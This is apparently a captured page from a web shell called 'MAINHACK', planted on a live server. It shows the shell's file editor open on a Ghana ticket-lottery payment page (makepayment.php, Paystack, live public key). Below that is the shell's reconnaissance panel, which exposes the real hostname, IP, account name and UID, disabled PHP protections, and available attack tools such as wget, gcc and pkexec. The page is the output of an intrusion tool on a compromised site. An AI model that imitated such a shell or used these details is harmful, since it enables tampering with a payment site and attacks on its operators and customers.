[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: makepayment.php
<?php include("functions.php"); if (!isset($_SESSION['user_email'])) { header("location:index"); } else { $myemail = $_SESSION['user_email']; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0" /> <title>Payment Page</title> <script src="https://cdn.tailwindcss.com"></script> <script src="https://js.paystack.co/v1/inline.js"></script> <!-- Paystack JS library --> </head> <body class="bg-gray-100 min-h-screen flex items-center justify-center p-4 sm:p-6"> <div class="bg-white rounded-2xl shadow-lg p-6 w-full max-w-md mx-auto"> <h2 class="text-xl sm:text-2xl font-bold mb-6 text-center">Choose Amount to Pay</h2> <form id="paymentForm" class="space-y-4"> <div class="grid grid-cols-1 sm:grid-cols-2 md:grid-cols-3 gap-4"> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="20"> <span class="text-base sm:text-lg font-semibold">1 Ticket - GHS 20</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="50"> <span class="text-base sm:text-lg font-semibold">3 Tickets - GHS 50</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="80"> <span class="text-base sm:text-lg font-semibold">5 Tickets - GHS 80</span> </div> <div class="amount-card border border-gray-300 rounded-xl p-4 text-center cursor-pointer hover:bg-blue-100" data-amount="150"> <span class="text-base sm:text-lg font-semibold">10 Tickets - GHS 150</span> </div> </div> <input type="hidden" name="amount" id="selectedAmount" value="" /> <button type="button" onclick="payWithPaystack()" class="w-full bg-blue-600 text-white py-2 sm:py-3 rounded-xl text-base sm:text-lg font-semibold hover:bg-blue-700 transition duration-300"> Pay Now </button> </form> </div> <script> // Add click event listeners to amount cards document.querySelectorAll('.amount-card').forEach(card => { card.addEventListener('click', function() { // Remove 'selected' styling from all cards document.querySelectorAll('.amount-card').forEach(c => { c.classList.remove('bg-blue-200', 'border-blue-500'); }); // Add 'selected' styling to the clicked card this.classList.add('bg-blue-200', 'border-blue-500'); // Set the hidden input value to the selected amount document.getElementById('selectedAmount').value = this.getAttribute('data-amount'); }); }); function payWithPaystack() { // Get the selected amount from the hidden input const selectedAmount = parseFloat(document.getElementById('selectedAmount').value); // Validate the amount if (!selectedAmount || isNaN(selectedAmount)) { alert('Please select an amount before proceeding.'); return; } const email = "<?php echo $myemail;?>"; const amount = selectedAmount * 100; // Convert GHS to pesewas (1 GHS = 100 pesewas) const handler = PaystackPop.setup({ key: 'pk_live_f7d5dcdf32c68ce3ea4d2a023b91b42444512d9c ', // Replace with your Paystack public key email: email, amount: amount, currency: 'GHS', // Ghanaian Cedi ref: 'SYM_' + Math.floor(Math.random() * 1000000000 + 1), // Unique transaction reference callback: function(response) { window.location.href = 'verifypayment?reference=' + response.reference; }, onClose: function() { alert('Transaction was not completed, window closed.'); } }); handler.openIframe(); } </script> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002